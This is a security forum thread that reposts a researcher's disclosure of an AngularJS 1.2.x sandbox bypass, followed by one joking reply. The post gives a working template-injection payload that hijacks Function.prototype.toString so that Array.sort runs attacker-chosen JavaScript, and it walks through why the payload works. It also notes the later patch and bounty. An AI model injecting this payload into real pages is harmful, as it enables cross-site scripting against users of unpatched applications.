Jump to content
Nytro

AngularJS sandbox bypass

Recommended Posts

Posted

    ___                      __               _______    _____                 ____                  __                               
/ | ____ ____ ___ __/ /___ ______ / / ___/ / ___/____ _____ ____/ / /_ ____ _ __ / /_ __ ______ ____ ___________
/ /| | / __ \/ __ `/ / / / / __ `/ ___/_ / /\__ \ \__ \/ __ `/ __ \/ __ / __ \/ __ \| |/_/ / __ \/ / / / __ \/ __ `/ ___/ ___/
/ ___ |/ / / / /_/ / /_/ / / /_/ / / / /_/ /___/ / ___/ / /_/ / / / / /_/ / /_/ / /_/ /> < / /_/ / /_/ / /_/ / /_/ (__ |__ )
/_/ |_/_/ /_/\__, /\__,_/_/\__,_/_/ \____//____/ /____/\__,_/_/ /_/\__,_/_.___/\____/_/|_| /_.___/\__, / .___/\__,_/____/____/
/____/ /____/_/

In my recent research I discovered a bypass to the AngularJS "sandbox", allowing me to execute arbitrary JavaScript from within the Angular scope, while not breaking any of the implemented rules (eg. Function constructor can't be accessed directly).

The main reason I was allowed to do this is because functions executing callbacks, such as Array.sort(), Array.map() and Array.filter() are allowed. If we use the Function constructor as callback, we can carefully construct a payload that generates a valid function that we control both the arguments for, as well as the function body. This results in a sandbox bypass.

Example: {{toString.constructor.prototype.toString=toString .constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)}}
JSFiddle: http://jsfiddle.net/uwwov8oz

Let's break that down. Function constructor can be accessed via toString.constructor.
{{Function.prototype.toString=Function.prototype.c all;["a","alert(1)"].sort(Function)}}

We can run the Function constructor with controlled arguments with ["a", "alert(1)"].sort(Function). This will generate this psuedo-code:
if(Function("a","alert(1)") > 1){
//Sort element "a" as bigger than "alert(1)"
}else if(Function("a","alert(1)") < 1){
//Sort element "a" as smaller than "alert(1)"
}else{
// Sort elements as same
}

Function("a","alert(1)") is equivalent to function(a){alert(1)}. So let's edit that.
if((function(a){alert(1)}) > 1){
//Sort element "a" as bigger than "alert(1)"
}else if((function(a){alert(1)}) < 1){
//Sort element "a" as smaller than "alert(1)"
}else{
// Sort elements as same
}

Now, to understand the next part we must know how JS internals handles comparison of functions. It will convert the function to a string using the toString method (inherited from Object) and compare it as string. We can show this by running this code: alert==alert.toString().
if((function(a){alert(1)}).toString() > 1..toString()){
//Sort element "a" as bigger than "alert(1)"
}else if((function(a){alert(1)}).toString() < 1..toString()){
//Sort element "a" as smaller than "alert(1)"
}else{
// Sort elements as same
}

So to sum up: We can create a function where we control the arguments ("a"), as well as the function body ("alert(1)"), and that generated function will be converted to a string using the toString() function. So all we have to do is replace the Function.prototype.toString() function with the Function.prototype.call() function, and when the comparison runs in the psuedocode, it will run like this:
if((function(a){alert(1)}).call() > 1..toString()){
//Sort element "a" as bigger than "alert(1)"
}else if((function(a){alert(1)}).call() < 1..toString()){
//Sort element "a" as smaller than "alert(1)"
}else{
// Sort elements as same
}

Since (function(a){alert(1)}).call() is a perfectly valid way of creating and executing a function, and given that we control both the arguments and the function body, we can safely assume that we can execute arbitrary JavaScript using this method. The same logic can be applied to the other callback functions. I'm not really sure why using the constructor property like this (eg. toString.constructor) works, since it didn't in 1.2.18 and down.

Last, this is now fixed as of AngularJS version 1.2.24 and up (only 1 week from original report until patch!) and I got $5000 bug bounty for this bypass Changelog: https://github.com/angular/angular.js/commit/b39e1d47b9a1b39a9fe34c847a81f589fba522f8

over and out,
avlidienbrunn

Video:

Sursa: http://avlidienbrunn.se/angular.txt

Posted

Da.

"Daca compari un pointer la o functie cu un numar, eu fac automat conversia lor la string si le compar ca pe niste siruri de caractere" - Javascript

Because fuck logic, that's why.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...